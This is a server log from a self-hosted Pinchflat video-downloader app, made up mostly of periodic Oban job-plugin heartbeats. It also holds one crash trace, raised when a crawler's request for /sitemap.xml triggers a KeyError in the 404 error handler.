{"source":"oban","duration":3126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:35.457 [info] {"source":"oban","duration":2313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:00.954 [info] {"source":"oban","duration":878,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:47:05.460 [info] {"source":"oban","duration":1961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:35.462 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:00.955 [info] {"source":"oban","duration":567,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:48:05.464 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:35.467 [info] {"source":"oban","duration":2302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:00.956 [info] {"source":"oban","duration":465,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:49:05.477 [info] {"source":"oban","duration":1827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:35.485 [info] {"source":"oban","duration":2683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:00.957 [info] {"source":"oban","duration":820,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:50:05.491 [info] {"source":"oban","duration":4436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:35.494 [info] {"source":"oban","duration":2055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:00.959 [info] {"source":"oban","duration":553,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:51:05.496 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:35.498 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:00.961 [info] {"source":"oban","duration":525,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:52:05.501 [info] {"source":"oban","duration":2577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:35.503 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:00.962 [info] {"source":"oban","duration":761,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:53:05.507 [info] {"source":"oban","duration":2811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:35.509 [info] {"source":"oban","duration":1729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:00.965 [info] {"source":"oban","duration":1247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:54:05.512 [info] {"source":"oban","duration":1657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:35.514 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:00.968 [info] {"source":"oban","duration":1896,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:55:05.516 [info] {"source":"oban","duration":1799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:35.519 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:00.969 [info] {"source":"oban","duration":588,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:56:05.521 [info] {"source":"oban","duration":1169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:35.523 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:00.973 [info] {"source":"oban","duration":310,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:57:05.525 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:35.530 [info] {"source":"oban","duration":4085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:00.974 [info] {"source":"oban","duration":345,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:58:05.534 [info] {"source":"oban","duration":3105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:35.542 [info] {"source":"oban","duration":2951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:00.976 [info] {"source":"oban","duration":1558,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:59:05.545 [info] {"source":"oban","duration":2726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:35.548 [info] {"source":"oban","duration":2153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:00.977 [info] {"source":"oban","duration":529,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:00:05.554 [info] {"source":"oban","duration":4791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:35.556 [info] {"source":"oban","duration":1731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:00.979 [info] {"source":"oban","duration":1258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:01:05.558 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:35.565 [info] {"source":"oban","duration":5986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:00.981 [info] {"source":"oban","duration":1255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:02:05.568 [info] {"source":"oban","duration":2841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:35.572 [info] {"source":"oban","duration":2418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:00.984 [info] {"source":"oban","duration":1893,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:03:05.574 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:35.576 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:00.986 [info] {"source":"oban","duration":535,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:04:05.579 [info] {"source":"oban","duration":2013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:35.581 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:00.988 [info] {"source":"oban","duration":522,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:05:05.583 [info] {"source":"oban","duration":1732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:35.587 [info] {"source":"oban","duration":1876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:00.990 [info] {"source":"oban","duration":876,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:06:05.589 [info] {"source":"oban","duration":1790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:35.592 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:00.991 [info] {"source":"oban","duration":554,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:07:05.594 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:35.598 [info] {"source":"oban","duration":3129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:00.992 [info] {"source":"oban","duration":501,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:08:05.600 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:35.605 [info] {"source":"oban","duration":4487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:00.993 [info] {"source":"oban","duration":490,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:09:05.608 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:35.611 [info] {"source":"oban","duration":2299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:00.995 [info] {"source":"oban","duration":822,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:10:05.613 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:35.615 [info] {"source":"oban","duration":1640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:01.002 [info] {"source":"oban","duration":2507,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:11:05.618 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:35.622 [info] {"source":"oban","duration":2523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:00.003 [info] {"source":"oban","duration":699,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:12:05.625 [info] {"source":"oban","duration":2604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:35.629 [info] {"source":"oban","duration":1954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:00.006 [info] {"source":"oban","duration":1555,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:13:05.631 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:35.633 [info] {"source":"oban","duration":1866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:00.007 [info] {"source":"oban","duration":584,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:14:05.637 [info] {"source":"oban","duration":2119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:35.640 [info] {"source":"oban","duration":2621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:00.009 [info] {"source":"oban","duration":658,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:15:05.643 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:35.646 [info] {"source":"oban","duration":2018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:00.012 [info] {"source":"oban","duration":1671,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:16:05.648 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:35.653 [info] {"source":"oban","duration":3817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:00.013 [info] {"source":"oban","duration":790,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:17:05.657 [info] {"source":"oban","duration":2841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:35.659 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:00.015 [info] {"source":"oban","duration":495,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:18:05.661 [info] {"source":"oban","duration":1271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:35.663 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:00.017 [info] {"source":"oban","duration":1005,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:19:05.665 [info] {"source":"oban","duration":1095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:35.667 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:00.018 [info] {"source":"oban","duration":522,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:20:05.669 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:35.672 [info] {"source":"oban","duration":2324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:00.019 [info] {"source":"oban","duration":725,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:21:05.674 [info] {"source":"oban","duration":1816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:35.677 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:00.021 [info] {"source":"oban","duration":372,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:22:05.679 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:35.682 [info] {"source":"oban","duration":2088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:00.022 [info] {"source":"oban","duration":747,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:23:05.685 [info] {"source":"oban","duration":1909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:35.687 [info] {"source":"oban","duration":1758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:00.024 [info] {"source":"oban","duration":508,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:24:05.690 [info] {"source":"oban","duration":2097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:35.692 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:00.027 [info] {"source":"oban","duration":1733,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:25:05.694 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:35.697 [info] {"source":"oban","duration":2032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:00.029 [info] {"source":"oban","duration":840,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:26:05.699 [info] {"source":"oban","duration":1717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:35.704 [info] {"source":"oban","duration":3337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:00.031 [info] {"source":"oban","duration":1631,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:27:05.708 [info] {"source":"oban","duration":2913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:35.711 [info] {"source":"oban","duration":1931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:00.033 [info] {"source":"oban","duration":1232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:28:05.713 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:35.715 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:00.034 [info] {"source":"oban","duration":432,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:29:05.719 [info] {"source":"oban","duration":2751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:35.721 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:00.035 [info] {"source":"oban","duration":389,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:30:05.724 [info] {"source":"oban","duration":1977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:31.742 [info] GET /sitemap.xml 12:30:31.833 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1257.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:30:31.834 [debug] QUERY OK source="settings" db=1.2ms idle=435.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:30:31.835 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 12:30:31.835 [error] #PID<0.1258431.0> running PinchflatWeb.Endpoint (connection #PID<0.1258430.0>, stream id 2) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sitemap.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1258430.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 43278}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1258431.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKe7Z57dWujQwlMADbbh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1258430.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 43278}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1258430.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 43278}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1258431.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKe7Z57dWujQwlMADbbh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, (truncated) 12:30:35.727 [info] {"source":"oban","duration":2412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:00.036 [info] {"source":"oban","duration":813,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:31:05.730 [info] {"source":"oban","duration":2134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:35.733 [info] {"source":"oban","duration":2123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:00.038 [info] {"source":"oban","duration":742,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:32:05.735 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:35.737 [info] {"source":"oban","duration":1669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:00.041 [info] {"source":"oban","duration":918,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:33:05.739 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:35.742 [info] {"source":"oban","duration":2552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:00.042 [info] {"source":"oban","duration":734,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:34:05.744 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:35.746 [info] {"source":"oban","duration":1784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:00.044 [info] {"source":"oban","duration":606,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:35:05.750 [info] {"source":"oban","duration":2495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:35.753 [info] {"source":"oban","duration":2633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:00.046 [info] {"source":"oban","duration":925,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:36:05.755 [info] {"source":"oban","duration":1730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:35.759 [info] {"source":"oban","duration":2291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:00.049 [info] {"source":"oban","duration":1957,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:37:05.763 [info] {"source":"oban","duration":3174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:35.766 [info] {"source":"oban","duration":2080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:00.050 [info] {"source":"oban","duration":689,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:38:05.768 [info] {"source":"oban","duration":1749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:35.770 [info] {"source":"oban","duration":1874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:00.052 [info] {"source":"oban","duration":466,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:39:05.773 [info] {"source":"oban","duration":1829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:35.778 [info] {"source":"oban","duration":2857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:00.053 [info] {"source":"oban","duration":420,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:40:05.780 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:35.782 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:00.055 [info] {"source":"oban","duration":1113,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:41:05.784 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:35.786 [info] {"source":"oban","duration":1763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:00.056 [info] {"source":"oban","duration":484,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:42:05.789 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:35.792 [info] {"source":"oban","duration":2023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:00.058 [info] {"source":"oban","duration":658,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:43:05.795 [info] {"source":"oban","duration":2314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:35.797 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:00.060 [info] {"source":"oban","duration":372,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:44:05.800 [info] {"source":"oban","duration":2335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:35.804 [info] {"source":"oban","duration":3116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:00.061 [info] 